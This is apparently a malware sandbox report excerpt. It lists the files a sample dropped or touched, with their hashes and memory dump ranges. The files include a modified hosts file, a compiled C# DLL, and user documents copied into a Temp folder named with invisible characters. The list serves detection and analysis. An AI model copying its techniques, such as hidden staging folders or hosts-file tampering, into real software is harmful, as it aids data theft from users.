SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 085e0a3b869f290afea5688a8ac4e7c5
SHA1 0fedef5057708908bcca9e7572be8f46cef4f3ca
SHA256 1fed2c9bc05b3fcb93f493124dbf1680c6445f67e3d49680257183132514509c
SHA512 bbac0555a05dbe83154a90caa44a653c8a05c87594a211548b165c5b1d231e3818830e754c0b6de3e5cb64dba3a5ad18bebae05cb9157e1dd46bce2a86d18ede

C:\Windows\System32\drivers\etc\hosts

MD5 f99e42cdd8b2f9f1a3c062fe9cf6e131
SHA1 e32bdcab8da0e3cdafb6e3876763cee002ab7307
SHA256 a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0
SHA512 c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

\??\c:\Users\Admin\AppData\Local\Temp\0jffzmf2\0jffzmf2.cmdline

MD5 ab7e7751b2716e77ceac8cd3f04d1aa6
SHA1 b134ad00438656c9f24c4b1ad704167f70cacd20
SHA256 fff0ec334fa32ef8918191d4f149424436cb06ac67b4ca5652ac0a0ee1a83856
SHA512 64c1d5fe2298c7ac5a47a259d7c332ecfb1ff5b5d305349cb570f60038bd862a957099f359608569437d8d684574ecc2a7b474412eb51d77a7b7c1fe71fc85a5

\??\c:\Users\Admin\AppData\Local\Temp\0jffzmf2\0jffzmf2.0.cs

MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

memory/2840-243-0x00007FFD45220000-0x00007FFD4524E000-memory.dmp

\??\c:\Users\Admin\AppData\Local\Temp\0jffzmf2\CSCD6D1FC9E8352489F8B9D59E34EAF6632.TMP

MD5 6b0245476e85435fd6b347e9ab7b96a4
SHA1 d803cb410b37f23f60ff471c8c65fc0039a8e81a
SHA256 fc55dde458b90cfdb35d58221990e807eafc19decfc676409b14193743f6f1fa
SHA512 a20d035936bdd39d02d009a950540fa161b645bf155f37e1f19a13b39eca10c969863f63d9c4f264a2d7c53d05d832126dc61ce7c7a7cf13a5a6cada9d53ed22

C:\Users\Admin\AppData\Local\Temp\RESACBB.tmp

MD5 2cd10bc5c01b4ef8b33f51ebfdb61e1c
SHA1 ba4a5356ae49017e269620787f4311f11919617b
SHA256 c63f0b81c70dddf4834e9c231f0b4e1316c75b972b249aee75c6523396104999
SHA512 1a2f5be2786683686f2a306f4928ce9580adfdbee05580f84fbd4e07160295e84c9519716b68ef403e3fe12683559ce823ae080f2bb4cea46b5a4a477d05a95d

C:\Users\Admin\AppData\Local\Temp\0jffzmf2\0jffzmf2.dll

MD5 9a2f1fc24d7954f84d83bca657781e32
SHA1 055ac77da08c24bb3dc63cc6df791f9cab6dfca0
SHA256 01210acee02df0f55fea019425a548ac1fc8e9fbcfb297ecddaea24667d585b3
SHA512 2c2c7ae5614870855df77319c4203435aa075b19e1ab065fe18f04b94e6c0eb9d86fbd57cc43f85db789cdc4576ee6d0367b6fee09a0ba6d7486ed34a488248a

memory/4484-251-0x000001D13AC10000-0x000001D13AC18000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 df2b89a87c45f60f1ee6ef624f162373
SHA1 8fca84321150ece05e4ca5c242fae3a13009ca21
SHA256 04814950a5622de4424dc8ca164c34f03009c646584bc2e7c4f2019f2e986864
SHA512 41687f446a4d413d769965410b6c4f013904e0de9c2fa7c0498143916d8ff694fbdc820d1333b771f9051baf361d812ff6f21fbd7637ca08e5c955f30db289b5

memory/2840-275-0x00000178D34A0000-0x00000178D3818000-memory.dmp

memory/2840-274-0x00007FFD45160000-0x00007FFD45218000-memory.dmp

memory/2840-277-0x00007FFD35870000-0x00007FFD35BE8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\‍     ‎ ‍ \Common Files\Desktop\BackupRestore.asp

MD5 f46e873f764607e046bc6a774cc7b5c8
SHA1 98f86d0fe9eb050c523e404fdb906a3d579dbfe0
SHA256 d5768838f060063e2a949fa22720f71af9b10684b8309963c431324417fed218
SHA512 4f1c87a3e3ac98b20b94fc14056e727598308a3366a7ace76a95a268550ac319cba9b578a96936cdc9242d1a80b4f9e11d069bd381490d89a6b2f23cc0dea010

C:\Users\Admin\AppData\Local\Temp\‍     ‎ ‍ \Common Files\Desktop\MoveNew.jpg

MD5 67f40420fdf447f3b600c4f4cc682836
SHA1 74d519c3cb5dc4089bd8ccebe6d1c0aadc37cbb8
SHA256 24fe0996647aca3a687331288349f20cde145e8c9789e8ab46ab11430721eecd
SHA512 be82b3f5ea261746fc3fb291f2f816faaaafbbe6f48204c844a37f040f89dc5c4d109718db2f219c38cd73d58f3cff587388c6109a45f564d18779f85d5fe719

C:\Users\Admin\AppData\Local\Temp\‍     ‎ ‍ \Common Files\Desktop\SkipRegister.csv

MD5 5fd15b1da33ca07a5db4d0073c8e22f4
SHA1 4f2df09bb1eb7967574d11d44d05fb8581a43fa0
SHA256 6a24af0bf809343f09fcc5882fad7b2f2898e9f94508dd1cd2127e308555d8a3
SHA512 ec370c77ddfd9bb8a2fec4cbb77c8fceb99ec7f29b8c79288e1b52162d0abe3468823ee808c1d85740c418f7bf3f2a1a478bf0c6b3e9e23a15936304c914b428

C:\Users\Admin\AppData\Local\Temp\‍     ‎ ‍ \Common Files\Desktop\SubmitOpen.png

MD5 cacb9bbbdf1bfcf8c126ad35afe6faea
SHA1 2ab845831b30e71ae86e368b59ca38eafc44fcee
SHA256 141ef74c87f0cfae746b3197b2e3e9908795dacf6cc03a207cde4dac65919a0e
SHA512 99a18b5fa8fea158ac4d6b8c16d6d7556ec36ff1ee73386fb80027d94641a52cc56589ce0eb470a081dc70e0865db1956fcb3c2c27a77722c34a0a6878ebcbbd

C:\Users\Admin\AppData\Local\Temp\‍     ‎ ‍ \Common Files\Desktop\UpdateExport.xlsx

MD5 eb3c6827f4cad94cb78d5a82a78fde6d
SHA1 b50e7cc08a487786ecdbfc3bd1f8858a96a8c6ca
SHA256 29b058bd80f57048d0b234f336dbd98c39de63e2d8452893db0abb2ee208174d
SHA512 cfeb7d2cf8d62255ea27b075f2305819e49112b0a91c1b58a7ca89743a47daeb17c815c7078d46bc8228c6ee9245f43c2e402e78d8d2ce05dbdf72c1eeeff336

C:\Users\Admin\AppData\Local\Temp\‍     ‎ ‍ \Common Files\Documents\AssertFormat.xlsx

MD5 4e2ab2410be981300f4bd9010156fd7d
SHA1 829c69f9690dfc7c2ac8946e9d45b052374585e1
SHA256 4cb0f15201291ec469d7b698624777e3f06ebb9ef1348e7a400d1e7e3cb035d5
SHA512 decbe194d1902367ff6619697028d87ca1de6ba37fd648e09e805cf4c645c1347617250fa6d829a66bf1cfdef93ee89cab815be62abd4fdf61f49e788796353e

C:\Users\Admin\AppData\Local\Temp\‍     ‎ ‍ \Common Files\Documents\CheckpointBlock.txt

MD5 b7d33fe9c3db7559a05dd45adfa4f800
SHA1 c5c8e5e67bccbf24b36c7dcfc4f193137fee7984
SHA256 556a27deb43ba6370bf6a514ffc68fe3ba47e67dc597ad7c2253628b5fb7db97
SHA512 5b53fbab749a385c625bb57432f59b1b0483393a6559760d9d7e7b45d92ed17d80561d0c87c22de11cd1b93e6ac37d721cb574529dcaa341862069a4a8ff2a83

C:\Users\Admin\AppData\Local\Temp\‍     ‎ ‍ \Common Files\Documents\InstallWrite.xlsx

MD5 251574a16f0e1d4fe7e23bc74c20fff6
SHA1 da9c354cdd3d8d9015ca6456cb8e0b9c6abccc30
SHA256 d4aaa0c7ff54bceeb5edd712c6875d46b6c57e1ba547aad9e51b9686a9f29952
SHA512 49896326041db894912294c9cb2d59d598f6ec33fc75f159e52ed5c6fbbd6e087289ca480396237f7553e4962ae69acf7feace9659dafa56bfd60af5c38fa4f3

C:\Users\Admin\AppData\Local\Temp\‍     ‎ ‍ \Common Files\Documents\ResizeCheckpoint.docx

MD5 bb14bd069ae48e86a8d12a19ab6601df
SHA1 9309282d7aec7dff93bb14d5440c5511fda1ed59
SHA256 14481712ac19d5ce6eba0ffdac33da8c583e67ecdf14ac29916dbf16e64fec90
SHA512 5534fddbd04aaf6f192a5e71569e6e8cad4ae4bcdf34a7b0d1c9483793198e2d37901fde37a2aea82b73f8a12ae31d55761b48cb5303e0f4d3190635991286ca

C:\Users\Admin\AppData\Local\Temp\‍     ‎ ‍ \Common Files\Documents\RevokeUse.doc

MD5 0d6aa7424d80d8452a7764de8796a57a
SHA1 1f1027268bc05d9ce6c3412854052625e04f0f49
SHA256 4c5d9df199c1409385db85012e970323e153262736d28c79039db410ab6b81a7
SHA512 a2f248884fe44c43d5b9eac5421849927ce8ac4900d26643362f895277340273f34ac46a4a794cc5c4494d3b7899714d8d39b11054be546ba63a43e25643af4a

C:\Users\Admin\AppData\Local\Temp\‍     ‎ ‍ \Common Files\Documents\WriteFind.csv

MD5 4c75362de73730eed0e7eb6dc44684e9
SHA1 86b7409e197678105a8b7ae0dc63f3febdfb1233
SHA256 e2ebdebb40972369088e249cefebb7536a22833f204a22689830e8ca8ec8f452
SHA512 44f92605ef745de40a91923ee834f9f1f4a50c35ad93a4a030bcf212e01b48f97055b7acfa3a4c7a2718c977c0f1e0ed233d1b79a4277f2d6bbd82bca0da2c52

C:\Users\Admin\AppData\Local\Temp\‍     ‎ ‍ \Common Files\Downloads\MergeUpdate.png

MD5 af3e267c64d6a0d7d5b6e9aead74057f
SHA1 d46ea04fc11dcc9fc4467318a9c4d7a2a92af332
SHA256 74905b5c7fb648b72a1e8b3a9ce70a74496fadb2b6ca293ddf46eadefe6a0782
SHA512 8ddb679f7327dd7e8dc77b638327c6dd1057e244c71d5c7ec8e066e482d46362e1277029333b5610f0640d22910d8b90b0a00381c9687913d81994deb48222e0

memory/2840-312-0x00007FFD36830000-0x00007FFD36E19000-memory.dmp

memory/2840-318-0x00007FFD35CC0000-0x00007FFD35E37000-memory.dmp

memory/2840-313-0x00007FFD4B7D0000-0x00007FFD4B7F3000-memory.dmp

memory/2840-340-0x00007FFD45140000-0x00007FFD45154000-memory.dmp

memory/2840-341-0x00007FFD464B0000-0x00007FFD464BD000-memory.dmp

memory/2840-328-0x00007FFD36830000-0x00007FFD36E19000-memory.dmp

memory/2840-353-0x00007FFD45160000-0x00007FFD45218000-memory.dmp

memory/2840-354-0x00000178D34A0000-0x00000178D3818000-memory.dmp

memory/2840-352-0x00007FFD45220000-0x00007FFD4524E000-memory.dmp

memory/2840-351-0x00007FFD47E60000-0x00007FFD47E6D000-memory.dmp

memory/2840-350-0x00007FFD459A0000-0x00007FFD459B9000-memory.dmp

memory/2840-349-0x00007FFD35CC0000-0x00007FFD35E37000-memory.dmp

memory/2840-348-0x00007FFD41FA0000-0x00007FFD41FC3000-memory.dmp

memory/2840-347-0x00007FFD456A0000-0x00007FFD456B9000-memory.dmp

memory/2840-346-0x00007FFD44EF0000-0x00007FFD44F1D000-memory.dmp

memory/2840-345-0x00007FFD4C010000-0x00007FFD4C01F000-memory.dmp

memory/2840-344-0x00007FFD4B7D0000-0x00007FFD4B7F3000-memory.dmp

memory/2840-343-0x00007FFD35870000-0x00007FFD35BE8000-memory.dmp

memory/2840-342-0x00007FFD36400000-0x00007FFD3651C000-memory.dmp